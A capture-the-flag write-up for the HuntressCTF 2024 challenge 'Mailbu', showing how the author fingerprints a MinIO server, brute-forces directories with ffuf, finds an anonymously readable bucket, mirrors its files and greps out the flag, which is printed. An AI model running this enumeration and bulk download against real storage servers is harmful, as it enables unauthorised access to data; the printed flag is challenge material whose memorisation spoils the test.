Another challenge in the 2024 HuntressCTF: Mailbu. This was a very cool challenge involving HTTP enumeration and a local s3-compatible MinIO server.

Challenge Description

What do you bring to the beach?

NOTE: There are two things to note for this challenge.

This service takes a bit more time to start. If you see a Connection refused, please wait a bit more. This service will not immediately respond or prompt you… it is waiting for your input. If you just hit Enter, you will see what it is.

Extra tip, once you know what the service is, try connecting in a better way. Then use some of the context clues and critical thinking based off its response and the challenge description. You don’t need any bruteforcing once you understand the infrastructure and enumerate. 😉

Solve

After clicking on the ‘Start’ button, we get the following output in the challenge description:

Connect with:

nc challenge.ctf.games 32685

Please allow up to 30 seconds for the challenge to become available.

Being the impatient person I am, naturally I spam the port until it becomes available. Eventually we get back the following output when hitting Enter after connecting with netcat:

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ nc challenge.ctf.games 32685

HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request

Okay, it’s running an HTTP server. Let’s try connecting with our browser.

003-conn-refused.png

Nope!

At this point I thought I could try a simple directory brute force attack with ffuf. It was only after doing this that I learned Huntress didn’t want any brute-forcing tools in use for these challenges… sorry!

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://challenge.ctf.games:32685/FUZZ -e .txt -fc 403

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://challenge.ctf.games:32685/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Extensions       : .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

:: Progress: [1019/175328] :: Job [1/1] :: 90 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

I didn’t get any hits anyway.

Next, I tried to inspect the HTTP headers by issuing a curl command to the server instead of connecting via netcat.

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ curl -I challenge.ctf.games:32685                                                                                                                                     
HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 225
Content-Type: application/xml
Server: MinIO
Vary: Origin
Date: Sat, 05 Oct 2024 13:14:57 GMT

Oh interesting, we get the Server header in the curl output which tells us it’s running MinIO. From previous experience I’ve used MinIO a tiny amount, so I know that a CLI tool mc exists that can easily interact with MinIO servers. After installing mc in my Kali VM, I set up the standard alias of myminio to point to this challenge server.

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ mc alias set myminio http://challenge.ctf.games:32685/
Enter Access Key: 
Enter Secret Key: 
Added `myminio` successfully.

Seeing as nothing in the challenge has indicated the presence of an access key or secret key, I just enter a blank value for both fields. Now I start trying out different mc subcommands to see if there’s anything I can access without these keys.

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ mc tree myminio                                       
mc: <ERROR> Unable to tree. Access Denied.

This “Access Denied.” was the story of my life for the next 15 minutes. Then I saw on discord that my teammate MFDoom had found a successful response when trying out some different directories on the HTTP endpoint.

003-discord.png

He finds the successful response with /bucket! This tells me that the name of the bucket hosted on the MinIO server is simply bucket. This confused me since I thought that surely “bucket” would be included in the wordlist I was using with ffuf, right?

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ cat /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | grep bucket
buckets
bitbucket

Next time I’m using directory-list-2.3-medium.txt, it’s official.

Moving on, we’re able to list out the entire contents of the bucket with the tree subcommand of mc.

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ mc tree myminio/bucket --files
myminio/bucket
├─ 38LDk6qIUzWwQjAO
├─ 3op3bh3wt0UoiUdT
├─ 5mhZtNDDBSVzhlrb
├─ 7IDagfca3QZYSRgd
├─ 7Rj3oaTOuKvA3EW0
├─ 8YlMFCa9BWCZXmKR
├─ 97MuW0tx8IewGWxg
├─ BG9VLyRlN9GJS9ux
├─ DNsykdKT5uAGHsYD
├─ EqfLxsvyfuEg8jaY
├─ HachcFhr0NdSUnMM
├─ IGXOd77WYkvcJRWv
├─ J5IXPg332sMlFfGk
├─ J8P9Bpk0oGHEzrq2
├─ JSgXGUKoPHHEZoCE
├─ OZovt7G1MGliy4B0
├─ RJdCUqYCpdYJvPA2
├─ SEWF4wxTu4VlqD48
├─ SZwY6DC1fOGKBvvP
├─ TUJpQPoAnqe4YqE7
├─ UjIimwaqLqfUL7ET
├─ Zf0q0bMh1IofPo3Z
├─ aBARJ5ea7d6XBcWM
├─ ctAcXVpViTssbs8a
├─ i7dez8Y7Ik6F6pIx
├─ oeVZnUpnS7EMRJMO
├─ oqI8p0vTGbKgjqa3
├─ qMyvVfSdZ1NtoouN
├─ wGWQuJ6gEuqzGQaG
├─ xU4mWsu5fVUHa58T
├─ 235208pO
│  └─ OJgfc538
│     └─ SZNspAry
│        └─ pCgdi4Ud
│           └─ SXIkXaOmYIEYz5FD
├─ 23Ote8p4
│  └─ oZ2fXA6r5Gw8GZQG
├─ 38E7HhAV
│  └─ vGnh7ISrU0O5HRP6
├─ 3gqwCoPQ
│  └─ OedgNe7JP3edyfpc
<SNIP>
├─ wW9vscj9
│  ├─ B3gw6kMmEhkPqTfv
│  └─ dYatcKnF
│     └─ 5OwM3MN6
│        └─ dmjeFywmb0xJiQW3
├─ wY0zTfdV
│  └─ PU0r9Jvy
│     └─ afeHifxK
│        └─ Qb6rhgQy
│           └─ JrzNEiJv74JPHxQ1
└─ zc4r8PGw
   └─ tp7SKwWZ
      ├─ 3OqYaNBDqw8z3Rcx
      └─ BHLJENiD
         └─ 5XkWxXjo
            └─ tYK5g9HqkhWa7Yoo

I won’t list out the entire contents, but rest assured there was a ton of folders and a ton of files. Digging into the subcommands available with mc, I found mirror which is exactly the kind of command I was looking for. I wanted to be able to download all the files to my local machine and search for a flag. If that didn’t work, I was thinking I would have to combine all the files and do some sort of decoding, as the contents of a single file I inspected looked a lot like base64:

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ mc get myminio/bucket/DNsykdKT5uAGHsYD ./file && cat file && rm file
...:32685/bucket/DNsykdKT5uAGHsYD: 1.87 KiB / 1.87 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 6.36 KiB/s 0sIXKeegORG7feOfODgQWo8IXWuHh3HTFFNwedqKwPBtmVKYQkjfuR5szR1NpJkY6J0bfTirpZa<SNIP>61gQWlU9URnMSV2bBZXVOHFnyOfdG5U2KtnpjranLWWLwAoUeKhFGaSTXEakCIEqKiddJsC1OTHb79V5AqffatyupWFzlTij6HwbnNAoO5xCCpiOFas7VRQFw8oLfZIHhjMtxVZItQWXt3C0wdiXUzdm72lqodW7T8I3tFbB2

So I ran the mirror command to download all the files.

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ mkdir bucket && mc mirror myminio/bucket ./bucket
...8PGw/tp7SKwWZ/3OqYaNBDqw8z3Rcx: 266.22 KiB / 266.22 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 53.11 KiB/s 5s

Then I immediately ran grep to search for a flag. Looks like Huntress was being nice to us after figuring out all the MinIO interactions.

┌──(venv)(kali㉿kali)-[~/huntress]
└─$ grep -ri 'flag' ./bucket 
./bucket/gIiPsOj6/0BAm5Rs6/RHhBn2am/nyyrGhWi/ljclVzlDd6alCxyi:2BYN7jdLWEy3S5z <SNIP> nS4FTLflag{800e6603e86fe0a68875d3335e0daf81}FNdU1n6FoDAYTO <SNIP>